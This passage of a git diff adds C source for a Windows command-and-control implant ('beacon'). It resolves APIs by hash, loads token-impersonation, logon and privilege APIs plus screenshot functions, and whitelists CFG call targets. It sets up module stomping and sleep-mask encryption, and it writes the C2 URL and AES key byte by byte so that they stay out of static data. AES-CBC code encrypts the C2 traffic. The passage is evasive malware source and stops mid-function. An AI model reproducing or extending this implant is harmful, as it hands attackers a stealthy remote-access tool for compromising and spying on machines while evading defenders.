Nax->Kernel32.MultiByteToWideChar = (PVOID)NaxGetProc( hK32, H_MULTIBYTETOWIDECHAR ); + Nax->Kernel32.GlobalFree = (PVOID)NaxGetProc( hK32, H_GLOBALFREE ); + Nax->Kernel32.CreateDirectoryA = (PVOID)NaxGetProc( hK32, H_CREATEDIRECTORYA ); + Nax->Kernel32.SetCurrentDirectoryA = (PVOID)NaxGetProc( hK32, H_SETCURRENTDIRECTORYA ); + Nax->Kernel32.GetCurrentDirectoryA = (PVOID)NaxGetProc( hK32, H_GETCURRENTDIRECTORYA ); + Nax->Kernel32.CreateFileA = (PVOID)NaxGetProc( hK32, H_CREATEFILEA ); + Nax->Kernel32.ReadFile = (PVOID)NaxGetProc( hK32, H_READFILE ); + Nax->Kernel32.WriteFile = (PVOID)NaxGetProc( hK32, H_WRITEFILE ); + Nax->Kernel32.DeleteFileA = (PVOID)NaxGetProc( hK32, H_DELETEFILEA ); + Nax->Kernel32.CloseHandle = (PVOID)NaxGetProc( hK32, H_CLOSEHANDLE ); + Nax->Kernel32.RemoveDirectoryA = (PVOID)NaxGetProc( hK32, H_REMOVEDIRECTORYA ); + Nax->Kernel32.HeapCreate = (PVOID)NaxGetProc( hK32, H_HEAPCREATE ); + Nax->Kernel32.HeapDestroy = (PVOID)NaxGetProc( hK32, H_HEAPDESTROY ); + Nax->Kernel32.FindFirstFileA = (PVOID)NaxGetProc( hK32, H_FINDFIRSTFILEA ); + Nax->Kernel32.FindNextFileA = (PVOID)NaxGetProc( hK32, H_FINDNEXTFILEA ); + Nax->Kernel32.FindClose = (PVOID)NaxGetProc( hK32, H_FINDCLOSE ); + Nax->Kernel32.LoadLibraryA = (PVOID)NaxGetProc( hK32, H_LOADLIBRARYA ); + Nax->Kernel32.GetProcAddress = (PVOID)NaxGetProc( hK32, H_GETPROCADDRESS ); + Nax->Kernel32.GetModuleHandleA = (PVOID)NaxGetProc( hK32, H_GETMODULEHANDLEA ); + Nax->Kernel32.FreeLibrary = (PVOID)NaxGetProc( hK32, H_FREELIBRARY ); + Nax->Kernel32.LoadLibraryExW = (PVOID)NaxGetProc( hK32, H_LOADLIBRARYEXW ); + Nax->Kernel32.VirtualProtect = (PVOID)NaxGetProc( hK32, H_VIRTUALPROTECT ); + Nax->Kernel32.GetFileSize = (PVOID)NaxGetProc( hK32, H_GETFILESIZE ); + Nax->Kernel32.GetLastError = (PVOID)NaxGetProc( hK32, H_GETLASTERROR ); + Nax->Kernel32.CreateProcessA = (PVOID)NaxGetProc( hK32, H_CREATEPROCESSA ); + Nax->Kernel32.CreatePipe = (PVOID)NaxGetProc( hK32, H_CREATEPIPE ); + Nax->Kernel32.WaitForSingleObject = (PVOID)NaxGetProc( hK32, H_WAITFORSINGLEOBJECT ); + Nax->Kernel32.WaitForMultipleObjects = (PVOID)NaxGetProc( hK32, H_WAITFORMULTIPLEOBJECTS ); + Nax->Kernel32.PeekNamedPipe = (PVOID)NaxGetProc( hK32, H_PEEKNAMEDPIPE ); + Nax->Kernel32.CreateNamedPipeA = (PVOID)NaxGetProc( hK32, H_CREATENAMEDPIPEA ); + Nax->Kernel32.ConnectNamedPipe = (PVOID)NaxGetProc( hK32, H_CONNECTNAMEDPIPE ); + Nax->Kernel32.DisconnectNamedPipe = (PVOID)NaxGetProc( hK32, H_DISCONNECTNAMEDPIPE ); + Nax->Kernel32.SetNamedPipeHandleState = (PVOID)NaxGetProc( hK32, H_SETNAMEDPIPEHANDLESTATE ); + Nax->Kernel32.CreateEventA = (PVOID)NaxGetProc( hK32, H_CREATEEVENTA ); + Nax->Kernel32.SetEvent = (PVOID)NaxGetProc( hK32, H_SETEVENT ); + Nax->Kernel32.ResetEvent = (PVOID)NaxGetProc( hK32, H_RESETEVENT ); + Nax->Kernel32.GetOverlappedResult = (PVOID)NaxGetProc( hK32, H_GETOVERLAPPEDRESULT ); + Nax->Kernel32.CancelIo = (PVOID)NaxGetProc( hK32, H_CANCELIO ); + Nax->Kernel32.FlushFileBuffers = (PVOID)NaxGetProc( hK32, H_FLUSHFILEBUFFERS ); + Nax->Kernel32.GetACP = (PVOID)NaxGetProc( hK32, H_GETACP ); + Nax->Kernel32.GetOEMCP = (PVOID)NaxGetProc( hK32, H_GETOEMCP ); + + /* threading */ + Nax->Kernel32.CreateThread = (PVOID)NaxGetProc( hK32, H_CREATETHREAD ); + Nax->Kernel32.TerminateThread = (PVOID)NaxGetProc( hK32, H_TERMINATETHREAD ); + Nax->Kernel32.GetTickCount64 = (PVOID)NaxGetProc( hK32, H_GETTICKCOUNT64 ); + Nax->Kernel32.GetCurrentThread = (PVOID)NaxGetProc( hK32, H_GETCURRENTTHREAD ); + Nax->Kernel32.DuplicateHandle = (PVOID)NaxGetProc( hK32, H_DUPLICATEHANDLE ); + Nax->Kernel32.GetCurrentProcess = (PVOID)NaxGetProc( hK32, H_GETCURRENTPROCESS ); + + /* CFG */ + Nax->Kernel32.GetProcessMitigationPolicy = (PVOID)NaxGetProc( hK32, H_GETPROCESSMITIGATIONPOLICY ); + + /* - create a PRIVATE heap for beacon allocations --------------------- + * BOF code calls HeapAlloc(GetProcessHeap(), ...) expecting a clean heap. + * If our beacon uses GetProcessHeap() too, we dirty it with hundreds of + * allocations (heartbeat buffers, BofCtx output, etc.), causing the BOF's + * first HeapAlloc to return a chunk whose low 2 bytes can exceed the BOF's + * output buffer size → signed underflow → rep movsb crash (whoami BOF). + * + * With a private heap: beacon allocations come from Nax->Heap (private), + * BOF's GetProcessHeap() allocations come from the process default heap + * (relatively clean → address low 2 bytes safely below 0x2000). */ + if ( Nax->Kernel32.HeapCreate ) { + HANDLE priv = Nax->Kernel32.HeapCreate( 0, 0, 0 ); + if ( priv ) Nax->Heap = priv; + } + NaxDbgx( Nax, "beacon private heap: %p", Nax->Heap ); + + /* - kernelbase (CFG) - */ + HMODULE hKB = NaxGetModule( H_KERNELBASE_DLL ); + if ( hKB ) + Nax->Kernelbase.SetProcessValidCallTargets = (PVOID)NaxGetProc( hKB, H_SETPROCESSVALIDCALLTARGETS ); + + NaxCfgInit( Nax ); + + Nax->JobWakeEvent = Nax->Kernel32.CreateEventA( NULL, TRUE, FALSE, NULL ); + + WCHAR msv[] = { 'm', 's', 'v', 'c', 'r', 't', '.', 'd', 'l', 'l', '\0' }; + HMODULE hMsvcrt = Nax->Kernel32.LoadLibraryW( msv ); + if ( ! hMsvcrt ) { + Nax->Ntdll.RtlFreeHeap( heap, 0, Nax ); + return NULL; + } + Nax->Msvcrt.printf = (PVOID)NaxGetProc( hMsvcrt, H_PRINTF ); + + /* - bcrypt (both HTTP and SMB need AES) - */ + WCHAR bcry[] = { 'b', 'c', 'r', 'y', 'p', 't', '.', 'd', 'l', 'l', '\0' }; + HMODULE hBcrypt = Nax->Kernel32.LoadLibraryW( bcry ); + if ( ! hBcrypt ) { + Nax->Ntdll.RtlFreeHeap( heap, 0, Nax ); + return NULL; + } + + Nax->Bcrypt.BCryptOpenAlgorithmProvider = (PVOID)NaxGetProc( hBcrypt, H_BCRYPTOPENALGORITHMPROVIDER ); + Nax->Bcrypt.BCryptSetProperty = (PVOID)NaxGetProc( hBcrypt, H_BCRYPTSETPROPERTY ); + Nax->Bcrypt.BCryptGenerateSymmetricKey = (PVOID)NaxGetProc( hBcrypt, H_BCRYPTGENERATESYMMETRICKEY ); + Nax->Bcrypt.BCryptEncrypt = (PVOID)NaxGetProc( hBcrypt, H_BCRYPTENCRYPT ); + Nax->Bcrypt.BCryptDecrypt = (PVOID)NaxGetProc( hBcrypt, H_BCRYPTDECRYPT ); + Nax->Bcrypt.BCryptDestroyKey = (PVOID)NaxGetProc( hBcrypt, H_BCRYPTDESTROYKEY ); + Nax->Bcrypt.BCryptCloseAlgorithmProvider = (PVOID)NaxGetProc( hBcrypt, H_BCRYPTCLOSEALGORITHMPROVIDER ); + Nax->Bcrypt.BCryptGenRandom = (PVOID)NaxGetProc( hBcrypt, H_BCRYPTGENRANDOM ); + + /* - iphlpapi (all transports need GetAdaptersInfo for internal IP) - */ + WCHAR iphl[] = { 'i', 'p', 'h', 'l', 'p', 'a', 'p', 'i', '.', 'd', 'l', 'l', '\0' }; + HMODULE hIphlpapi = Nax->Kernel32.LoadLibraryW( iphl ); + if ( ! hIphlpapi ) { + Nax->Ntdll.RtlFreeHeap( heap, 0, Nax ); + return NULL; + } + Nax->Iphlpapi.GetAdaptersInfo = (PVOID)NaxGetProc( hIphlpapi, H_GETADAPTERSINFO ); + +#if NAX_TRANSPORT_PROFILE != NAX_TRANSPORT_SMB + /* - winhttp (HTTP transport only) - */ + WCHAR whttp[] = { 'w', 'i', 'n', 'h', 't', 't', 'p', '.', 'd', 'l', 'l', '\0' }; + HMODULE hWinhttp = Nax->Kernel32.LoadLibraryW( whttp ); + NaxDbgx( Nax, "winhttp=%p bcrypt=%p iphlpapi=%p", hWinhttp, hBcrypt, hIphlpapi ); + if ( ! hWinhttp ) { + Nax->Ntdll.RtlFreeHeap( heap, 0, Nax ); + return NULL; + } + + Nax->Winhttp.WinHttpOpen = (PVOID)NaxGetProc( hWinhttp, H_WINHTTPOPEN ); + Nax->Winhttp.WinHttpConnect = (PVOID)NaxGetProc( hWinhttp, H_WINHTTPCONNECT ); + Nax->Winhttp.WinHttpOpenRequest = (PVOID)NaxGetProc( hWinhttp, H_WINHTTPOPENREQUEST ); + Nax->Winhttp.WinHttpSendRequest = (PVOID)NaxGetProc( hWinhttp, H_WINHTTPSENDREQUEST ); + Nax->Winhttp.WinHttpReceiveResponse = (PVOID)NaxGetProc( hWinhttp, H_WINHTTPRECEIVERESPONSE ); + Nax->Winhttp.WinHttpQueryHeaders = (PVOID)NaxGetProc( hWinhttp, H_WINHTTPQUERYHEADERS ); + Nax->Winhttp.WinHttpReadData = (PVOID)NaxGetProc( hWinhttp, H_WINHTTPREADDATA ); + Nax->Winhttp.WinHttpCloseHandle = (PVOID)NaxGetProc( hWinhttp, H_WINHTTPCLOSEHANDLE ); + Nax->Winhttp.WinHttpCrackUrl = (PVOID)NaxGetProc( hWinhttp, H_WINHTTPCRACKURL ); + Nax->Winhttp.WinHttpSetOption = (PVOID)NaxGetProc( hWinhttp, H_WINHTTPSETOPTION ); + Nax->Winhttp.WinHttpQueryOption = (PVOID)NaxGetProc( hWinhttp, H_WINHTTPQUERYOPTION ); + Nax->Winhttp.WinHttpQueryDataAvailable = (PVOID)NaxGetProc( hWinhttp, H_WINHTTPQUERYDATAAVAILABLE ); +#else + NaxDbgx( Nax, "SMB transport: skipping winhttp (iphlpapi=%p)", hIphlpapi ); +#endif + + WCHAR adv[] = { 'a', 'd', 'v', 'a', 'p', 'i', '3', '2', '.', 'd', 'l', 'l', '\0' }; + HMODULE hAdvapi32 = Nax->Kernel32.LoadLibraryW( adv ); + if ( ! hAdvapi32 ) { + Nax->Ntdll.RtlFreeHeap( heap, 0, Nax ); + return NULL; + } + Nax->Advapi32.GetUserNameW = (PVOID)NaxGetProc( hAdvapi32, H_GETUSERNAMEW ); + Nax->Advapi32.GetTokenInformation = (PVOID)NaxGetProc( hAdvapi32, H_GETTOKENINFORMATION ); + Nax->Advapi32.LookupAccountSidA = (PVOID)NaxGetProc( hAdvapi32, H_LOOKUPACCOUNTSIDA ); + Nax->Advapi32.AllocateAndInitializeSid = (PVOID)NaxGetProc( hAdvapi32, H_ALLOCATEANDINITIALIZESID ); + Nax->Advapi32.InitializeSecurityDescriptor = (PVOID)NaxGetProc( hAdvapi32, H_INITIALIZESECURITYDESCRIPTOR ); + Nax->Advapi32.SetSecurityDescriptorDacl = (PVOID)NaxGetProc( hAdvapi32, H_SETSECURITYDESCRIPTORDACL ); + Nax->Advapi32.SetEntriesInAclA = (PVOID)NaxGetProc( hAdvapi32, H_SETENTRIESINACLA ); + Nax->Advapi32.FreeSid = (PVOID)NaxGetProc( hAdvapi32, H_FREESID ); + Nax->Advapi32.DuplicateTokenEx = (PVOID)NaxGetProc( hAdvapi32, H_DUPLICATETOKENEX ); + Nax->Advapi32.ImpersonateLoggedOnUser = (PVOID)NaxGetProc( hAdvapi32, H_IMPERSONATELOGGEDONUSER ); + Nax->Advapi32.RevertToSelf = (PVOID)NaxGetProc( hAdvapi32, H_REVERTTOSELF ); + Nax->Advapi32.LogonUserA = (PVOID)NaxGetProc( hAdvapi32, H_LOGONUSERA ); + Nax->Advapi32.AdjustTokenPrivileges = (PVOID)NaxGetProc( hAdvapi32, H_ADJUSTTOKENPRIVILEGES ); + Nax->Advapi32.LookupPrivilegeValueA = (PVOID)NaxGetProc( hAdvapi32, H_LOOKUPPRIVILEGEVALUEA ); + Nax->Advapi32.LookupPrivilegeNameA = (PVOID)NaxGetProc( hAdvapi32, H_LOOKUPPRIVILEGENAMEA ); + Nax->Advapi32.OpenThreadToken = (PVOID)NaxGetProc( hAdvapi32, H_OPENTHREADTOKEN ); + Nax->Advapi32.RegCreateKeyExW = (PVOID)NaxGetProc( hAdvapi32, H_REGCREATEKEYEXW ); + Nax->Advapi32.RegSetValueExW = (PVOID)NaxGetProc( hAdvapi32, H_REGSETVALUEEXW ); + Nax->Advapi32.RegCloseKey = (PVOID)NaxGetProc( hAdvapi32, H_REGCLOSEKEY ); + NaxDbgx( Nax, "advapi32=%p GetUserNameW=%p", hAdvapi32, Nax->Advapi32.GetUserNameW ); + + /* - user32 + gdi32 for screenshot - loaded lazily; not fatal if absent - */ + WCHAR user32w[] = { 'u','s','e','r','3','2','.','d','l','l','\0' }; + WCHAR gdi32w[] = { 'g','d','i','3','2', '.','d','l','l','\0' }; + HMODULE hUser32 = Nax->Kernel32.LoadLibraryW( user32w ); + HMODULE hGdi32 = Nax->Kernel32.LoadLibraryW( gdi32w ); + if ( hUser32 ) { + Nax->User32.GetSystemMetrics = (PVOID)NaxGetProc( hUser32, H_GETSYSTEMMETRICS ); + Nax->User32.GetDC = (PVOID)NaxGetProc( hUser32, H_GETDC ); + Nax->User32.ReleaseDC = (PVOID)NaxGetProc( hUser32, H_RELEASEDC ); + } + if ( hGdi32 ) { + Nax->Gdi32.CreateCompatibleDC = (PVOID)NaxGetProc( hGdi32, H_CREATECOMPATIBLEDC ); + Nax->Gdi32.CreateCompatibleBitmap = (PVOID)NaxGetProc( hGdi32, H_CREATECOMPATIBLEBITMAP ); + Nax->Gdi32.SelectObject = (PVOID)NaxGetProc( hGdi32, H_SELECTOBJECT ); + Nax->Gdi32.BitBlt = (PVOID)NaxGetProc( hGdi32, H_BITBLT ); + Nax->Gdi32.GetDIBits = (PVOID)NaxGetProc( hGdi32, H_GETDIBITS ); + Nax->Gdi32.DeleteObject = (PVOID)NaxGetProc( hGdi32, H_DELETEOBJECT ); + Nax->Gdi32.DeleteDC = (PVOID)NaxGetProc( hGdi32, H_DELETEDC ); + } + NaxDbgx( Nax, "user32=%p gdi32=%p", hUser32, hGdi32 ); + + /* Record beacon .text region for sleepmask encryption */ + if ( Nax->Ntdll.NtQueryVirtualMemory ) { + MEMORY_BASIC_INFORMATION mbi; + MmZero( &mbi, sizeof( mbi ) ); + if ( Nax->Ntdll.NtQueryVirtualMemory( NtCurrentProcess(), (PVOID)NaxBootstrap, 0, &mbi, sizeof( mbi ), NULL ) == 0 ) { + Nax->SmInfo.BeaconBase = mbi.BaseAddress; + Nax->SmInfo.BeaconSize = (UINT32)mbi.RegionSize; + NaxDbgx( Nax, "beacon region: base=%p size=0x%x", Nax->SmInfo.BeaconBase, Nax->SmInfo.BeaconSize ); + } + } + + /* Read stomp context tag - loader writes { magic, cleanBuf, cleanSize } + * at (code start + code size), right after the beacon shellcode. */ + { + extern PVOID StartPtr( void ); + extern PVOID EndPtr( void ); + SIZE_T codeSize = (SIZE_T)( (PBYTE)EndPtr() - (PBYTE)StartPtr() ); + PBYTE pTag = (PBYTE)StartPtr() + codeSize; + NaxDbgx( Nax, "stomp tag: start=%p end=%p codeSize=0x%zx pTag=%p magic=0x%08x", + StartPtr(), EndPtr(), codeSize, pTag, *(UINT32*)pTag ); + if ( *(UINT32*)pTag == NAX_STOMP_CTX_MAGIC ) { + Nax->SmInfo.CleanTextBuf = *(PVOID*)( pTag + sizeof( UINT32 ) ); + Nax->SmInfo.CleanTextSize = *(UINT32*)( pTag + sizeof( UINT32 ) + sizeof( PVOID ) ); + NaxDbgx( Nax, "clean text: buf=%p size=0x%x", Nax->SmInfo.CleanTextBuf, Nax->SmInfo.CleanTextSize ); + } else { + NaxDbgx( Nax, "stomp tag NOT FOUND: bytes at pTag: %02x %02x %02x %02x %02x %02x %02x %02x", + pTag[0], pTag[1], pTag[2], pTag[3], pTag[4], pTag[5], pTag[6], pTag[7] ); + } + } + + NaxDbgx( Nax, "bootstrap complete" ); + return Nax; +} diff --git a/src_beacon/src/Core/Cfg.c b/src_beacon/src/Core/Cfg.c new file mode 100644 index 0000000..b1c9956 --- /dev/null +++ b/src_beacon/src/Core/Cfg.c @@ -0,0 +1,41 @@ +/* beacon/src/Core/Cfg.c + * Control Flow Guard helpers - query status, whitelist targets. */ + +#include "Macros.h" +#include "Instance.h" +#include "Cfg.h" + +FUNC VOID NaxCfgInit( PNAX_INSTANCE Nax ) { + Nax->CfgEnabled = FALSE; + + if ( !Nax->Kernel32.GetProcessMitigationPolicy ) + return; + + NAX_CFG_POLICY policy; + MmZero( &policy, sizeof( policy ) ); + + if ( Nax->Kernel32.GetProcessMitigationPolicy( (HANDLE)-1, NAX_POLICY_CFG, &policy, sizeof( policy ) ) ) + Nax->CfgEnabled = policy.EnableControlFlowGuard; + + NaxDbg( Nax, "[cfg] enabled=%d", (INT)Nax->CfgEnabled ); +} + +FUNC BOOL NaxCfgAddTarget( PNAX_INSTANCE Nax, PVOID ImageBase, PVOID Function ) { + if ( !Nax->CfgEnabled ) + return TRUE; + + if ( !Nax->Kernelbase.SetProcessValidCallTargets ) + return FALSE; + + PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)ImageBase; + PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)( (PBYTE)ImageBase + dos->e_lfanew ); + SIZE_T length = ( (SIZE_T)nt->OptionalHeader.SizeOfImage + 0xFFF ) & ~(SIZE_T)0xFFF; + + CFG_CALL_TARGET_INFO cfg; + cfg.Offset = U_PTR( Function ) - U_PTR( ImageBase ); + cfg.Flags = CFG_CALL_TARGET_VALID; + + BOOL ok = Nax->Kernelbase.SetProcessValidCallTargets( (HANDLE)-1, ImageBase, length, 1, &cfg ); + NaxDbg( Nax, "[cfg] add target: base=%p func=%p offset=0x%llx ok=%d", ImageBase, Function, (UINT64)cfg.Offset, (INT)ok ); + return ok; +} diff --git a/src_beacon/src/Core/Config.c b/src_beacon/src/Core/Config.c new file mode 100644 index 0000000..fdfef50 --- /dev/null +++ b/src_beacon/src/Core/Config.c @@ -0,0 +1,95 @@ +/* beacon/src/Core/Config.c + * NaxInitConfig - populate NAX_CONFIG from compile-time constants in Config.h. + * + * WHY NAX_C2_URL_WRITE / NAX_AES_KEY_WRITE macros: GCC -Os pools any local + * char[]/byte[] initializer into .rdata and copies from there, even when the + * source is { 'h','t','t','p',... } or { 0x48, 0xE9, ... }. Direct indexed + * assignments of integer constants through a volatile pointer always emit + * immediate MOVs in .text with no .rdata entry. */ + +#include "Nax.h" +#include "Config.h" +#include "Transport.h" + +FUNC VOID NaxInitConfig( PNAX_INSTANCE Nax ) { + /* sleep / jitter - scalar assignments are always immediate MOVs */ + Nax->Config.SleepMs = NAX_SLEEP_MS; + Nax->Config.JitterPct = (BYTE)NAX_JITTER_PCT; + + /* AES key - per-byte immediate stores, no intermediate array */ + volatile BYTE *k = (volatile BYTE *)Nax->Config.AesKey; + NAX_AES_KEY_WRITE( k ); + + /* chunked download default */ + Nax->Config.DlChunkSize = NAX_DL_CHUNK_DEFAULT; + + /* listener watermark - used in SMB beat for pivot routing */ + Nax->Config.ListenerWm = NAX_LISTENER_WM; + + /* C2 URL - per-char immediate stores, no intermediate array */ + volatile CHAR *u = (volatile CHAR *)Nax->Config.C2Url; + NAX_C2_URL_WRITE( u ); + + /* Default beacon ID header - HTTP only (SMB uses raw pipe framing) */ +#if NAX_TRANSPORT_PROFILE != NAX_TRANSPORT_SMB + volatile CHAR *bh = (volatile CHAR *)Nax->Config.BeaconIdHdr; + bh[0]='X'; bh[1]='-'; bh[2]='B'; bh[3]='e'; bh[4]='a'; bh[5]='c'; + bh[6]='o'; bh[7]='n'; bh[8]='-'; bh[9]='I'; bh[10]='d'; bh[11]='\0'; +#endif + + /* BOF module stomping config */ +#if NAX_BOF_STOMP + Nax->Config.BofStomp = 1; + { volatile WCHAR *sd = (volatile WCHAR *)Nax->Config.BofSyncDll; + NAX_BOF_SYNC_DLL_WRITE( sd ); } + Nax->Config.BofAsyncCount = NAX_BOF_ASYNC_COUNT; +#if NAX_BOF_ASYNC_COUNT > 0 + { volatile WCHAR *ad = (volatile WCHAR *)Nax->Config.BofAsyncDlls[0]; + NAX_BOF_ASYNC_0_WRITE( ad ); } +#endif +#if NAX_BOF_ASYNC_COUNT > 1 + { volatile WCHAR *ad = (volatile WCHAR *)Nax->Config.BofAsyncDlls[1]; + NAX_BOF_ASYNC_1_WRITE( ad ); } +#endif +#if NAX_BOF_ASYNC_COUNT > 2 + { volatile WCHAR *ad = (volatile WCHAR *)Nax->Config.BofAsyncDlls[2]; + NAX_BOF_ASYNC_2_WRITE( ad ); } +#endif +#if NAX_BOF_ASYNC_COUNT > 3 + { volatile WCHAR *ad = (volatile WCHAR *)Nax->Config.BofAsyncDlls[3]; + NAX_BOF_ASYNC_3_WRITE( ad ); } +#endif +#ifdef NAX_SM_STOMP_DLL_WRITE + { volatile WCHAR *sd = (volatile WCHAR *)Nax->Config.SmStompDll; + NAX_SM_STOMP_DLL_WRITE( sd ); } +#endif +#endif + + /* Load embedded profile - HTTP only (SMB child uses raw pipe framing) */ +#if NAX_TRANSPORT_PROFILE != NAX_TRANSPORT_SMB +#ifdef NAX_PROFILE_LEN + { + PBYTE prof_buf = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, NAX_PROFILE_LEN ); + if ( prof_buf ) { + volatile BYTE *pp = (volatile BYTE *)prof_buf; + NAX_PROFILE_WRITE( pp ); + NaxApplyProfile( Nax, prof_buf, NAX_PROFILE_LEN ); + Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, prof_buf ); + } + } +#endif +#endif + + /* sleep obfuscation defaults (from Config.h, always recompiled by link target) */ +#ifndef NAX_DEFAULT_SLEEP_OBF +#define NAX_DEFAULT_SLEEP_OBF 1 +#endif + Nax->SmInfo.Config.SleepObf = NAX_DEFAULT_SLEEP_OBF; +} + +#if NAX_TRANSPORT_PROFILE != NAX_TRANSPORT_SMB +FUNC INT NaxApplyProfile( PNAX_INSTANCE Nax, const PBYTE body, UINT32 body_len ) { + Nax->Config.ProfileLoaded = 0; + return NaxDecodeProfile( body, body_len, Nax ); +} +#endif diff --git a/src_beacon/src/Core/Crypto.c b/src_beacon/src/Core/Crypto.c new file mode 100644 index 0000000..caca9a4 --- /dev/null +++ b/src_beacon/src/Core/Crypto.c @@ -0,0 +1,123 @@ +/* beacon/src/Core/Crypto.c + * AES-128-CBC encrypt / decrypt via BCrypt, called through NAX_INSTANCE. + * Encrypt: generates a random 16-byte IV, prepends it → IV || ciphertext. + * Decrypt: first 16 bytes = IV, remainder = ciphertext → plaintext. */ + +#include "Macros.h" +#include "Instance.h" +#include "Crypto.h" +#include + +/* ========= [ encrypt: plaintext → IV || ciphertext ] ========= */ + +FUNC INT NaxEncrypt( PNAX_INSTANCE Nax, + const PBYTE plain, UINT32 plain_len, + PBYTE out, UINT32* out_len ) { + /* Minimum output: IV(16) + padded ciphertext (next multiple of 16). */ + UINT32 pad_len = ( plain_len + NAX_AES_BLOCK ) & ~( NAX_AES_BLOCK - 1 ); + if ( *out_len < NAX_AES_IV + pad_len ) + return NAX_ERR_NOMEM; + + /* Generate a random IV directly into the output buffer. */ + if ( Nax->Bcrypt.BCryptGenRandom( NULL, out, NAX_AES_IV, + BCRYPT_USE_SYSTEM_PREFERRED_RNG ) != 0 ) + return NAX_ERR_CRYPTO; + + /* Open AES-CBC provider. */ + BCRYPT_ALG_HANDLE hAlg = NULL; + BCRYPT_KEY_HANDLE hKey = NULL; + INT rc = NAX_ERR_CRYPTO; + + WCHAR aes_name[] = { 'A', 'E', 'S', '\0' }; + WCHAR cbc_mode[] = { 'C', 'h', 'a', 'i', 'n', 'i', 'n', 'g', 'M', 'o', 'd', 'e', '\0' }; + WCHAR cbc_val[] = { 'C', 'h', 'a', 'i', 'n', 'i', 'n', 'g', 'M', 'o', 'd', 'e', 'C', 'B', 'C', '\0' }; + + if ( Nax->Bcrypt.BCryptOpenAlgorithmProvider( &hAlg, aes_name, NULL, 0 ) != 0 ) + goto done; + + if ( Nax->Bcrypt.BCryptSetProperty( hAlg, cbc_mode, + (PUCHAR)cbc_val, + (ULONG)( 15 * sizeof( WCHAR ) ), 0 ) != 0 ) + goto done; + + if ( Nax->Bcrypt.BCryptGenerateSymmetricKey( hAlg, &hKey, NULL, 0, + Nax->Config.AesKey, NAX_AES_KEY, 0 ) != 0 ) + goto done; + + /* Copy IV so BCrypt can overwrite it in-place during encryption. */ + BYTE iv_copy[NAX_AES_IV]; + MmCopy( iv_copy, out, NAX_AES_IV ); + + ULONG bytes_done = 0; + if ( Nax->Bcrypt.BCryptEncrypt( hKey, + plain, plain_len, + NULL, + iv_copy, NAX_AES_IV, + out + NAX_AES_IV, pad_len, + &bytes_done, + BCRYPT_BLOCK_PADDING ) != 0 ) + goto done; + + *out_len = NAX_AES_IV + bytes_done; + rc = NAX_OK; + +done: + if ( hKey ) + Nax->Bcrypt.BCryptDestroyKey( hKey ); + if ( hAlg ) + Nax->Bcrypt.BCryptCloseAlgorithmProvider( hAlg, 0 ); + return rc; +} + +/* ========= [ decrypt: IV || ciphertext → plaintext ] ========= */ + +FUNC INT NaxDecrypt( PNAX_INSTANCE Nax, + const PBYTE in, UINT32 in_len, + PBYTE plain, UINT32* plain_len ) { + if ( in_len <= NAX_AES_IV ) + return NAX_ERR_WIRE; + + BCRYPT_ALG_HANDLE hAlg = NULL; + BCRYPT_KEY_HANDLE hKey = NULL; + INT rc = NAX_ERR_CRYPTO; + + WCHAR aes_name[] = { 'A', 'E', 'S', '\0' }; + WCHAR cbc_mode[] = { 'C', 'h', 'a', 'i', 'n', 'i', 'n', 'g', 'M', 'o', 'd', 'e', '\0' }; + WCHAR cbc_val[] = { 'C', 'h', 'a', 'i', 'n', 'i', 'n', 'g', 'M', 'o', 'd', 'e', 'C', 'B', 'C', '\0' }; + + if ( Nax->Bcrypt.BCryptOpenAlgorithmProvider( &hAlg, aes_name, NULL, 0 ) != 0 ) + goto done; + + if ( Nax->Bcrypt.BCryptSetProperty( hAlg, cbc_mode, + (PUCHAR)cbc_val, + (ULONG)( 15 * sizeof( WCHAR ) ), 0 ) != 0 ) + goto done; + + if ( Nax->Bcrypt.BCryptGenerateSymmetricKey( hAlg, &hKey, NULL, 0, + Nax->Config.AesKey, NAX_AES_KEY, 0 ) != 0 ) + goto done; + + /* The first 16 bytes are the IV; the remainder is ciphertext. */ + BYTE iv_copy[NAX_AES_IV]; + MmCopy( iv_copy, in, NAX_AES_IV ); + + ULONG bytes_done = 0; + if ( Nax->Bcrypt.BCryptDecrypt( hKey, + in + NAX_AES_IV, in_len - NAX_AES_IV, + NULL, + iv_copy, NAX_AES_IV, + plain, *plain_len, + &bytes_done, + BCRYPT_BLOCK_PADDING ) != 0 ) + goto done; + + *plain_len = bytes_done; + rc = NAX_OK; + +done: + if ( hKey ) + Nax->Bcrypt.BCryptDestroyKey( hKey ); + if ( hAlg ) + Nax->Bcrypt.BCryptCloseAlgorithmProvider( hAlg, 0 ); + return rc; +} diff --git a/src_beacon/src/Core/Helpers.c b/src_beacon/src/Core/Helpers.c new file mode 100644 index 0000000..323dae8 --- /dev/null +++ b/src_beacon/src/Core/Helpers.c @@ -0,0 +1,65 @@ +/* beacon/src/Core/Helpers.c + * Shared helper functions - deduplicated from per-module static copies. + * All PIC-safe (FUNC section placement, no CRT). */ + +#include "Nax.h" + +/* ========= [ string length ] ========= */ + +FUNC UINT32 NaxStrLen( const PCHAR str ) { + UINT32 n = 0; + while ( str && str[n] ) n++; + return n; +} + +FUNC UINT32 NaxWcharLen( const PWCHAR wstr ) { + UINT32 n = 0; + while ( wstr[n] ) n++; + return n; +} + +/* ========= [ Win32 error writer ] ========= */ + +FUNC VOID NaxWriteWin32ErrCode( PBYTE out, UINT32* out_len, DWORD code ) { + if ( *out_len >= 4 ) { + out[0] = (BYTE)code; + out[1] = (BYTE)( code >> 8 ); + out[2] = (BYTE)( code >> 16 ); + out[3] = (BYTE)( code >> 24 ); + *out_len = 4; + } else { + *out_len = 0; + } +} + +/* ========= [ text append helpers ] ========= */ + +FUNC UINT32 NaxAppendStr( PCHAR dst, UINT32 off, UINT32 cap, const CHAR* src ) { + while ( *src && off < cap ) + dst[off++] = *src++; + return off; +} + +FUNC UINT32 NaxAppendWStr( PCHAR dst, UINT32 off, UINT32 cap, const WCHAR* src ) { + while ( *src && off < cap ) + dst[off++] = (CHAR)*src++; + return off; +} + +FUNC UINT32 NaxAppendInt( PCHAR dst, UINT32 off, UINT32 cap, UINT32 value ) { + CHAR tmp[12]; + UINT32 len = NaxUToStr( value, tmp ); + for ( UINT32 i = 0; i < len && off < cap; i++ ) + dst[off++] = tmp[i]; + return off; +} + +FUNC UINT32 NaxAppendPtr( PCHAR dst, UINT32 off, UINT32 cap, UINT_PTR val ) { + static const char hex[] D_SEC( Bd ) = "0123456789abcdef"; + if ( off + 2 >= cap ) return off; + dst[off++] = '0'; + dst[off++] = 